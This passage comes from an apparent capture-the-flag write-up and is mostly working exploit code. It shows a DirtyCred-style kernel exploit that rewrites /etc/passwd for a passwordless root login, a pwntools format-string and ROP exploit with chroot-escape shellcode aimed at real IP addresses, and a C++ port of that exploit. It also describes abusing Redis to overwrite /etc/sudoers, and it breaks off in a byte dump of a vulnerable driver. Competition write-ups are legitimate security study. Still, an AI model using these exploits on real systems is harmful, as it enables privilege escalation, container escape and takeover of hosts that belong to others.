fatal("Failed to open FDs"); } puts("[+] Free one of the FDs via rose"); close(rose_fds[0]); puts("[+] Find the freed FD using lseek"); int spray_fds_2[NUM_SPRAY_FDS]; for (int i = 0; i < NUM_SPRAY_FDS; i++) { spray_fds_2[i] = open("/tmp/a", O_RDWR); lseek(spray_fds_2[i], 0x8, SEEK_SET); } for (int i = 0; i < NUM_SPRAY_FDS; i++) { if (lseek(spray_fds[i], 0 ,SEEK_CUR) == 0x8) { freed_fd = spray_fds[i]; lseek(freed_fd, 0x0, SEEK_SET); printf("[+] Found freed fd: %d\n", freed_fd); break; } } if (freed_fd == -1) fatal("Failed to find FD"); puts("[+] DirtyCred via mmap"); char *file_mmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, freed_fd, 0); close(freed_fd); for (int i = 0; i < NUM_SPRAY_FDS; i++) { close(spray_fds_2[i]); } for (int i = 0; i < NUM_SPRAY_FDS; i++) { spray_fds[i] = open("/etc/passwd", O_RDONLY); } strcpy(file_mmap, "root::0:0:root:/root:/bin/sh\n"); puts("[+] Finished! Open root shell..."); puts("======================="); system("su"); return 0; } ``` ### Full Chain - Wall Sina We coded an exploit in python, that use the main address leaved by the challenge author as an helper, to do a ret2main by abusing the _dl_fini process, then we replace return address by gets() function and send a payload with a shellcode, that is executed to escape the jail ```python= #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.update(arch="amd64", os="linux") context.log_level = 'info' exe = ELF("sina_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") # shortcuts def logbase(): print("libc base = %#x" % libc.address) def logleak(name, val): print(name+" = %#x" % val) def sa(delim,data): return p.sendafter(delim,data) def sla(delim,line): return p.sendlineafter(delim,line) def sl(line): return p.sendline(line) def rcu(d1, d2=0): p.recvuntil(d1, drop=True) # return data between d1 and d2 if (d2): return p.recvuntil(d2,drop=True) host, port = "206.189.113.236", "30674" limit=0 if args.DOCKER: p = remote("127.0.0.1", 30000) limit=2 else: p = remote("34.80.100.212", 30000) # at some points they add pow to their server, so resolve it p.recvuntil("compute '", drop=True) q= process(p.recvuntil("'", drop=True), shell=True) q.recvuntil('hashcash token: ', drop=True) hash = q.recvuntil('\n', drop=True) p.sendline(hash) q.close() limit=1 while True: if args.DOCKER: sla('$ ', './sina') # sla('$ ', 'strace -ivt -xx -s 64 -o log1 ./sina') # some tracing always usefull sometimes, need to copy strace static binary in initramfs else: sla('$ ', './sina') # use _dl_fini link_map trick to return to main and leak addresses for libc,main, stack payload1 = '%8c%32$hhn.%1$p..%3$p..%13$p.' sla('\r\n', payload1.ljust(0x3f,' ')) exe.address = int(rcu('.0x', '.'),16)-0x4040 logleak('prog base', exe.address) libc.address = int(rcu('.', '.'),16)-0xfda22 logbase() stack = int(rcu('.', '.'),16) - 0x110 logleak('stack', stack) # we wait the libc ASLR lower 32bits are small , to no receive gigabytes of data back if (((libc.address>>24) & 0xff)>limit): p.sendline('%p') else: break # set stack address for overwriting return address, and do a second ret2main low1 = ((exe.address+0x1159)-0x11b8)&0xffff low2 = ((stack-0x100) & 0xffff) if (low1<low2): sla('\r\n', '%'+str(low1)+'c%10$hn%'+str(low2-low1)+'c%35$hnXY%p') else: sla('\r\n', '%'+str(low2)+'c%35$hn%'+str(low1-low2)+'c%10$hnXY%p') p.recvuntil('XY0x' , drop=True) # replace return address by gets() function, we will send the next payload via gets low3 = (libc.sym['gets']) & 0xffffffff print('low3 = '+hex(low3)) payload1 = '%'+str(low3)+'c%75$nPIPO%p' context.log_level = 'info' p.sendline(payload1.ljust(0x3f,' ')) p.recvuntil('PIPO0x' , drop=True) rop = ROP(libc) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0] pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0] pop_rax = rop.find_gadget(['pop rax', 'ret'])[0] syscall = rop.find_gadget(['syscall', 'ret'])[0] add_eax_3 = libc.address + 0x00000000000c93c1 # add eax, 3 ; ret gadget_ret = libc.address+0x000000000002d4b6 # ret print('pop_rdi breakpoint = '+hex(pop_rdi)) if args.DOCKER: pause() payload = b'' payload += p64(gadget_ret)*(0x4e0>>3) stack2 = stack-0x168 # put shellcode at end of ROP, map stack rwx, and execute the shellcode to exit chroot offset = 33 # map stack rwx and jump to shellcode (with a nopsled for security) payload += p64(pop_rdi)+p64(stack2 & 0xfffffffffffff000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rdx)+p64(7)+p64(pop_rax)+p64(7)+p64(add_eax_3)+p64(syscall)+p64(stack2+(17*8)) payload += b'\x90'*128+asm("".join([shellcraft.mkdir("lol", 0o755), shellcraft.chroot("lol"), shellcraft.chroot("../../../../../../../../../../../../../../../.."), shellcraft.sh()])) # escape 0x7f for remote payload, because of qemu or strace... payloadc = b'' for c in payload: payloadc += b'\x16'+c p.sendline(payloadc) p.interactive() ``` later we rewrite this payload in C++ ### Full Chain - The Umi First, let's spend 80 minutes rewriting teammate's Sina exploit to C++ to make it run *on* the remote instance so it's faster: ```cpp= #include <fcntl.h> #include <pty.h> #include <signal.h> #include <sys/wait.h> #include <termios.h> #include <unistd.h> #include <cstdarg> #include <cstdint> #include <cstdio> #include <cstdlib> #include <cstring> #include <string> #include <string_view> #include <vector> #define CHECK(x) \ if (!(x)) { \ perror("."); \ abort(); \ } namespace { constexpr uint64_t kGetsOffset = 0x00000000000796f0; const uint8_t kEscapeChrootShellcode[] = { 0x48, 0xb8, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x50, 0x48, 0xb8, 0x64, 0x73, 0x2e, 0x60, 0x60, 0x60, 0x01, 0x01, 0x48, 0x31, 0x04, 0x24, 0x48, 0xb8, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x66, 0xbe, 0xed, 0x01, 0x6a, 0x53, 0x58, 0x0f, 0x05, 0x68, 0x64, 0x73, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x48, 0xb8, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x6a, 0x50, 0x58, 0x0f, 0x05, 0x48, 0xb8, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x50, 0x48, 0xb8, 0x64, 0x73, 0x2e, 0x60, 0x60, 0x60, 0x01, 0x01, 0x48, 0x31, 0x04, 0x24, 0x48, 0xb8, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xc0, 0xb0, 0xa1, 0x0f, 0x05, 0x6a, 0x01, 0xfe, 0x0c, 0x24, 0x48, 0xb8, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x50, 0x48, 0xb8, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x50, 0x48, 0xb8, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x50, 0x48, 0xb8, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x50, 0x48, 0xb8, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x50, 0x48, 0xb8, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xc0, 0xb0, 0xa1, 0x0f, 0x05, 0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e, 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05}; class Process { Process(pid_t pid, int stdinfd, int stdoutfd) : child_pid_(pid), stdinfd_(stdinfd), stdoutfd_(stdoutfd) {} public: static Process Launch(const std::string& path) { struct termios termios; int p2c[2]; int c2p[2]; // cfmakeraw(&termios); // CHECK(openpty(&p2c[1], &p2c[0], NULL, &termios, NULL) == 0); // CHECK(openpty(&c2p[0], &c2p[1], NULL, &termios, NULL) == 0); CHECK(pipe(p2c) == 0); CHECK(pipe(c2p) == 0); pid_t pid = fork(); CHECK(pid >= 0); if (pid == 0) { const char* argv[] = {path.c_str(), nullptr}; dup2(p2c[0], STDIN_FILENO); dup2(c2p[1], STDOUT_FILENO); close(p2c[0]); close(p2c[1]); close(c2p[0]); close(c2p[1]); CHECK(execve(path.c_str(), const_cast<char**>(argv), nullptr) == 0); abort(); } close(p2c[0]); close(c2p[1]); return Process(pid, p2c[1], c2p[0]); } ~Process() { if (stdinfd_ != -1) close(stdinfd_); if (stdoutfd_ != -1) close(stdoutfd_); if (child_pid_ != -1) { CHECK(kill(child_pid_, SIGKILL) == 0); int status; CHECK(waitpid(child_pid_, &status, 0) == child_pid_); } } // Move only. Process(Process&& other) : stdinfd_(other.stdinfd_), stdoutfd_(other.stdoutfd_), child_pid_(other.child_pid_) { other.stdinfd_ = -1; other.stdoutfd_ = -1; other.child_pid_ = -1; } Process& operator=(Process&& other) { stdinfd_ = other.stdinfd_; stdoutfd_ = other.stdoutfd_; child_pid_ = other.child_pid_; other.stdinfd_ = -1; other.stdoutfd_ = -1; other.child_pid_ = -1; return *this; } Process(const Process&) = delete; Process& operator=(const Process&) = delete; void Send(const void* data, size_t size) { size_t sent = 0; while (sent < size) { ssize_t ret = write(stdinfd_, static_cast<const char*>(data) + sent, size - sent); CHECK(ret >= 0); sent += ret; } } void Send(std::string_view data) { Send(data.data(), data.size()); } void SendLine(std::string_view data) { Send(std::string(data) + "\n"); } void SendLine(const void* data, size_t size) { // wrivev but it may not behave like write pepega void* buf = malloc(size+1); memcpy(buf, data, size); static_cast<char*>(buf)[size] = '\n'; Send(buf, size+1); free(buf); } void RecvN(void* data, size_t size) { size_t received = 0; while (received < size) { ssize_t ret = read(stdoutfd_, static_cast<char*>(data) + received, size - received); CHECK(ret >= 0); received += ret; } } std::string RecvN(size_t n) { std::string ret(n, '\0'); RecvN(&ret[0], n); return ret; } std::string RecvUntil(std::string_view delim, bool drop = false) { std::string ret; size_t cnt = 0; while (true) { char c; RecvN(&c, 1); ret.push_back(c); if (ret.size() >= delim.size() && ret.substr(ret.size() - delim.size()) == delim) { if (drop) { ret.resize(ret.size() - delim.size()); } return ret; } cnt++; if (cnt % 0x10000 == 0) { printf("[=] RecvUntil received %zu bytes, still waiting for delim\n", cnt); } } } void Skip(size_t n) { while (n > 0) { char buf[4096]; ssize_t ret = read(stdoutfd_, buf, std::min(n, sizeof(buf))); CHECK(ret >= 0); n -= ret; } } std::string RecvLine(bool drop = false) { return RecvUntil("\n", drop); } std::string SendLineAfter(std::string_view delim, std::string_view data) { auto ret = RecvUntil(delim); SendLine(data); return ret; } std::string SendAfter(std::string_view delim, std::string_view data) { auto ret = RecvUntil(delim); Send(data); return ret; } std::string RecvBetweenNext(std::string_view delim1, std::string_view delim2) { RecvUntil(delim1); return RecvUntil(delim2, /*drop=*/true); } int stdinfd_ = -1, stdoutfd_ = -1; pid_t child_pid_ = -1; }; std::string Ljust(std::string_view s, size_t n) { if (s.size() >= n) { return std::string(s); } return std::string(s) + std::string(n - s.size(), ' '); } struct Sina { Process p; uint64_t exe_base; uint64_t libc_base; uint64_t stack; }; Sina LaunchUntilLibcAddressGood() { while (true) { Process p = Process::Launch("/home/user/sina"); p.SendLine(Ljust("%8c%32$hhn.%1$p..%3$p..%13$p.%4096c", 0x3f)); uint64_t exe_base = std::stoul(p.RecvBetweenNext(".0x", "."), nullptr, 16) - 0x4040; uint64_t libc_base = std::stoul(p.RecvBetweenNext(".", "."), nullptr, 16) - 0xfda22; uint64_t stack = std::stoul(p.RecvBetweenNext(".", "."), nullptr, 16) - 0x110; putchar('.'); fflush(stdout); if (((libc_base >> 24) & 0xFF) == 0) { puts("OK"); return { .p = std::move(p), .exe_base = exe_base, .libc_base = libc_base, .stack = stack, }; } } } std::string Format(const char* fmt, ...) { va_list args; va_start(args, fmt); char buf[4096]; vsnprintf(buf, sizeof(buf), fmt, args); va_end(args); return buf; } } // namespace int main(int argc, char* argv[]) { Sina sina = LaunchUntilLibcAddressGood(); auto& p = sina.p; printf("exe_base = 0x%lx\n", sina.exe_base); printf("libc_base = 0x%lx\n", sina.libc_base); printf("stack = 0x%lx\n", sina.stack); auto low1 = ((sina.exe_base + 0x1159) - 0x11b8) & 0xffff; auto low2 = ((sina.stack - 0x100) & 0xffff); if (low1 < low2) { // no absl::StrCat pepega p.SendLine(Format("%%%dc", low1) + "%10$hn" + Format("%%%dc", low2 - low1) + "%35$hnXY%p%4096c"); } else { p.SendLine(Format("%%%dc", low2) + "%35$hn" + Format("%%%dc", low1 - low2) + "%10$hnXY%p%4096c"); } p.RecvUntil("XY0x"); auto low3 = (sina.libc_base + kGetsOffset) & 0xffffffff; printf("low3 = 0x%lx\n", low3); p.SendLine(Ljust(Format("%%%dc", low3) + "%75$nPIPO%p%4096c", 0x3f)); printf("[=] Waiting for PIPO0x...\n"); p.Skip(low3); printf("[+] Skipped %zu bytes\n", low3); p.RecvUntil("PIPO0x"); auto pop_rdi = sina.libc_base + 187090; auto pop_rdx = sina.libc_base + 1049282; auto pop_rsi = sina.libc_base + 193217; auto pop_rax = sina.libc_base + 281328; auto syscall = sina.libc_base + 558406; auto add_eax_3 = sina.libc_base + 0x00000000000c93c1; auto gadget_ret = sina.libc_base + 0x000000000002d4b6; std::vector<uint64_t> payload(0x4e0>>3, gadget_ret); auto stack2 = sina.stack - 0x100; payload.push_back(pop_rdi); payload.push_back(0); payload.push_back(pop_rsi); payload.push_back(stack2); payload.push_back(pop_rdx); payload.push_back(0x400); payload.push_back(pop_rax); payload.push_back(0); // read payload.push_back(syscall); for (int i = 0; i < 16; i++) payload.push_back(gadget_ret); for (size_t i = 0; i < payload.size() * 8; i++) { if (reinterpret_cast<uint8_t*>(payload.data())[i] == '\n') { printf("[-] Unlucky, newline in payload, try again\n"); return 1; } } p.SendLine(payload.data(), payload.size() * 8); // Wait a while to make sure stdio won't cache (and eat) our stage 2. printf("[=] Stage 1 sent, waiting 1 seconds...\n"); sleep(1); payload.clear(); payload.push_back(pop_rdi); payload.push_back(sina.exe_base + 0x4000); payload.push_back(pop_rsi); payload.push_back(0x1000); payload.push_back(pop_rdx); payload.push_back(7); payload.push_back(pop_rax); payload.push_back(0xa); // mprotect payload.push_back(syscall); payload.push_back(pop_rdi); payload.push_back(0); payload.push_back(pop_rsi); payload.push_back(sina.exe_base + 0x4000); payload.push_back(pop_rdx); payload.push_back(0x200); payload.push_back(pop_rax); payload.push_back(0); // read payload.push_back(syscall); payload.push_back(sina.exe_base + 0x4000); p.SendLine(payload.data(), payload.size() * 8); printf("[=] Stage 2 sent\n"); sleep(1); static_assert(sizeof(kEscapeChrootShellcode) <= 0x200, "shellcode too big"); p.SendLine(kEscapeChrootShellcode, sizeof(kEscapeChrootShellcode)); printf("[=] Shellcode sent\n"); sleep(1); puts("[+] Meow?"); p.SendLine("echo meow"); p.RecvUntil("meow\n"); puts("[+] Shell! (hopefully)"); // p.interactive() // Forward all data from p.stdinfd_ to stdin, and p.stdoutfd_ to stdout. Using // select to poll which is ready. fd_set readfds; while (true) { FD_ZERO(&readfds); FD_SET(STDIN_FILENO, &readfds); FD_SET(p.stdoutfd_, &readfds); CHECK(select(std::max(STDIN_FILENO, p.stdoutfd_) + 1, &readfds, nullptr, nullptr, nullptr) >= 0); if (FD_ISSET(STDIN_FILENO, &readfds)) { char buf[4096]; ssize_t ret = read(STDIN_FILENO, buf, sizeof(buf)); CHECK(ret >= 0); if (ret == 0) { break; } p.Send(buf, ret); } if (FD_ISSET(p.stdoutfd_, &readfds)) { char buf[4096]; ssize_t ret = read(p.stdoutfd_, buf, sizeof(buf)); CHECK(ret >= 0); if (ret == 0) { break; } write(STDOUT_FILENO, buf, ret); } } int status; waitpid(p.child_pid_, &status, 0); puts("[=] Cleaning up..."); return 0; } ``` After that we chained the exploit with our `rose` and `maria` exploit, launching blade shellcode. We then probed the environment and found that `/home/user/run.sh` is writable and is executed by xinetd on connection. We then replaced it with a shell script which checks the token and launches `bash -i`, this turns the Umi to a very nice nc to shell service, enabled multiple teammates to work on it without launching previous exploits repeatedly. After poking around we found that we somehow can set Redis dbfilename (which should not be working on 7.0.8), this gives fully controlled file write as Redis user (by abusing dbfilename and SLAVEOF), and... Redis is running as root! We then simply overwrite /etc/sudoers to make all users sudoers without password and enjoyed the root shell in container. ## reverse ### CrazyArcade An CVE-2019-16098 exists in the `CrazyArcade.sys`. The `CrazyArcade.exe` uses CVE-2019-16098 to perform arbitrary memory read/write. We reversed the function `CrazyArcade.exe!sub_1400030A0` to get the flag. ``` #!/usr/bin/python3 # copy from CrazyArcade.sys+0x1450 kern_1450 = [0x48, 0x89, 0x54, 0x24, 0x10, 0x53, 0x57, 0x48, 0x83, 0xEC, 0x48, 0x48, 0x8B, 0xFA, 0x33, 0xDB, 0x89, 0x5F, 0x30, 0x48, 0x89, 0x5F, 0x38, 0x48, 0x8B, 0x87, 0xB8, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x57, 0x18, 0x8B, 0x50, 0x10, 0x44, 0x8B, 0x48, 0x08, 0x80, 0x38, 0x0E, 0x0F, 0x85, 0x3B, 0x05, 0x00, 0x00, 0x8B, 0x40, 0x18, 0x05, 0x00, 0xE0, 0xFF, 0x7F, 0x83, 0xF8, 0x54, 0x0F, 0x87, 0x23, 0x05, 0x00, 0x00, 0x4C, 0x8D, 0x05, 0x86, 0x05, 0x00, 0x00, 0x49, 0x0F, 0xB6, 0x04, 0x00, 0x4C, 0x8D, 0x05, 0x2E, 0x05, 0x00, 0x00, 0x49, 0x63, 0x04, 0x80, 0x4C, 0x8D, 0x05, 0x05, 0x00, 0x00, 0x00, 0x49, 0x03, 0xC0, 0xFF, 0xE0, 0x83, 0xFA, 0x30, 0x75, 0x5F, 0x49, 0x8B, 0x4A, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x4A, 0x41, 0x8B, 0x42, 0x18, 0x83, 0xE8, 0x01, 0x74, 0x25, 0x83, 0xE8, 0x01, 0x74, 0x12, 0x83, 0xE8, 0x02, 0x75, 0x27, 0x41, 0x8B, 0x42, 0x14, 0x8B, 0x04, 0x08, 0x41, 0x89, 0x42, 0x1C, 0xEB, 0x1A, 0x41, 0x8B, 0x42, 0x14, 0x0F, 0xB7, 0x04, 0x08, 0x41, 0x89, 0x42, 0x1C, 0xEB, 0x0C, 0x41, 0x8B, 0x42, 0x14, 0x0F, 0xB6, 0x04, 0x08, 0x41, 0x89, 0x42, 0x1C, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x30, 0x00, 0x00, 0x00, 0xE9, 0xAF, 0x04, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xA3, 0x04, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x97, 0x04, 0x00, 0x00, 0x83, 0xFA, 0x30, 0x75, 0x5F, 0x49, 0x8B, 0x52, 0x08, 0x48, 0x85, 0xD2, 0x74, 0x4A, 0x41, 0x8B, 0x42, 0x18, 0x83, 0xE8, 0x01, 0x74, 0x26, 0x83, 0xE8, 0x01, 0x74, 0x12, 0x83, 0xE8, 0x02, 0x75, 0x27, 0x41, 0x8B, 0x4A, 0x14, 0x41, 0x8B, 0x42, 0x1C, 0x89, 0x04, 0x11, 0xEB, 0x1A, 0x41, 0x8B, 0x4A, 0x14, 0x66, 0x41, 0x8B, 0x42, 0x1C, 0x66, 0x89, 0x04, 0x11, 0xEB, 0x0B, 0x41, 0x8B, 0x4A, 0x14, 0x41, 0x8A, 0x42, 0x1C, 0x88, 0x04, 0x11, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x30, 0x00, 0x00, 0x00, 0xE9, 0x3F, 0x04, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x33, 0x04, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x27, 0x04, 0x00, 0x00, 0x83, 0xFA, 0x30, 0x75, 0x28, 0x49, 0x8B, 0xCA, 0xE8, 0xFD, 0xFD, 0xFF, 0xFF, 0x89, 0x47, 0x30, 0x85, 0xC0, 0x7C, 0x0D, 0x48, 0xC7, 0x47, 0x38, 0x30, 0x00, 0x00, 0x00, 0xE9, 0x06, 0x04, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0xFA, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xEE, 0x03, 0x00, 0x00, 0x83, 0xFA, 0x30, 0x75, 0x27, 0x49, 0x8B, 0x4A, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x12, 0x41, 0x8B, 0x52, 0x10, 0xFF, 0x15, 0x71, 0x0A, 0x00, 0x00, 0x89, 0x5F, 0x30, 0xE9, 0xCE, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xC2, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xB6, 0x03, 0x00, 0x00, 0x44, 0x8B, 0xC2, 0x49, 0x8B, 0xD2, 0xE8, 0x0E, 0xFB, 0xFF, 0xFF, 0x89, 0x47, 0x30, 0x85, 0xC0, 0x7C, 0x0E, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x96, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x8A, 0x03, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x72, 0x1B, 0x49, 0x8B, 0x12, 0x48, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x15, 0x05, 0x0A, 0x00, 0x00, 0x89, 0x47, 0x30, 0xE9, 0x6A, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x01, 0x00, 0x00, 0xC0, 0xE9, 0x5E, 0x03, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x1D, 0x66, 0x41, 0x8B, 0x12, 0xEC, 0x0F, 0xBE, 0xC0, 0x41, 0x89, 0x42, 0x04, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x3C, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x30, 0x03, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x1E, 0x66, 0x41, 0x8B, 0x12, 0x66, 0xED, 0x0F, 0xB7, 0xC0, 0x41, 0x89, 0x42, 0x04, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x0D, 0x03, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x01, 0x03, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x1A, 0x66, 0x41, 0x8B, 0x12, 0xED, 0x41, 0x89, 0x42, 0x04, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0xE2, 0x02, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xD6, 0x02, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x36, 0x41, 0x8B, 0x52, 0x04, 0x41, 0x8B, 0x0A, 0xE8, 0x28, 0xFD, 0xFF, 0xFF, 0x84, 0xC0, 0x75, 0x0C, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xB5, 0x02, 0x00, 0x00, 0x66, 0x41, 0x8B, 0x12, 0x41, 0x8A, 0x42, 0x04, 0xEE, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x9B, 0x02, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x8F, 0x02, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x38, 0x41, 0x8B, 0x52, 0x04, 0x41, 0x8B, 0x0A, 0xE8, 0xE1, 0xFC, 0xFF, 0xFF, 0x84, 0xC0, 0x75, 0x0C, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x6E, 0x02, 0x00, 0x00, 0x66, 0x41, 0x8B, 0x12, 0x66, 0x41, 0x8B, 0x42, 0x04, 0x66, 0xEF, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x52, 0x02, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x46, 0x02, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x36, 0x41, 0x8B, 0x52, 0x04, 0x41, 0x8B, 0x0A, 0xE8, 0x98, 0xFC, 0xFF, 0xFF, 0x84, 0xC0, 0x75, 0x0C, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x25, 0x02, 0x00, 0x00, 0x66, 0x41, 0x8B, 0x12, 0x41, 0x8B, 0x42, 0x04, 0xEF, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x0B, 0x02, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xFF, 0x01, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x1C, 0x41, 0xC7, 0x02, 0x01, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x41, 0x89, 0x42, 0x04, 0x89, 0x5F, 0x30, 0x48, 0x89, 0x47, 0x38, 0xE9, 0xDE, 0x01, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xD2, 0x01, 0x00, 0x00, 0x83, 0xFA, 0x08, 0x75, 0x35, 0x41, 0x8B, 0x02, 0x8B, 0x0D, 0x5B, 0x18, 0x00, 0x00, 0x3D, 0x00, 0x00, 0x00, 0x80, 0x0F, 0x45, 0xC8, 0x89, 0x0D, 0x4D, 0x18, 0x00, 0x00, 0x41, 0x03, 0x4A, 0x04, 0x89, 0x0D, 0x43, 0x18, 0x00, 0x00, 0x41, 0x89, 0x0A, 0x89, 0x5F, 0x30, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x38, 0xE9, 0x98, 0x01, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xFA, 0x0C, 0x75, 0x44, 0x41, 0x8B, 0x0A, 0x0F, 0x32, 0x8B, 0xCA, 0x48, 0xC1, 0xE1, 0x20, 0x48, 0x0B, 0xC8, 0x48, 0x89, 0x4C, 0x24, 0x30, 0x48, 0xC1, 0xE9, 0x20, 0x41, 0x89, 0x4A, 0x04, 0x8B, 0x44, 0x24, 0x30, 0x41, 0x89, 0x42, 0x08, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x0C, 0x00, 0x00, 0x00, 0xE9, 0x54, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x43, 0x01, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0x37, 0x01, 0x00, 0x00, 0x83, 0xFA, 0x0C, 0x75, 0x3C, 0x41, 0x8B, 0x42, 0x04, 0x48, 0xC1, 0xE0, 0x20, 0x41, 0x8B, 0x4A, 0x08, 0x48, 0x0B, 0xC1, 0x48, 0x8B, 0xD0, 0x48, 0xC1, 0xEA, 0x20, 0x41, 0x8B, 0x0A, 0x0F, 0x30, 0x89, 0x5F, 0x30, 0x48, 0xC7, 0x47, 0x38, 0x0C, 0x00, 0x00, 0x00, 0xE9, 0x07, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xF6, 0x00, 0x00, 0x00, 0xC7, 0x47, 0x30, 0x0D, 0x00, 0x00, 0xC0, 0xE9, 0xEA, 0x00, 0x00, 0x00, 0x83, 0xFA, 0x18, 0x75, 0x5D, 0x41, 0x8B, 0x4A, 0x10, 0x85, 0xC9, 0x74, 0x49, 0x83, 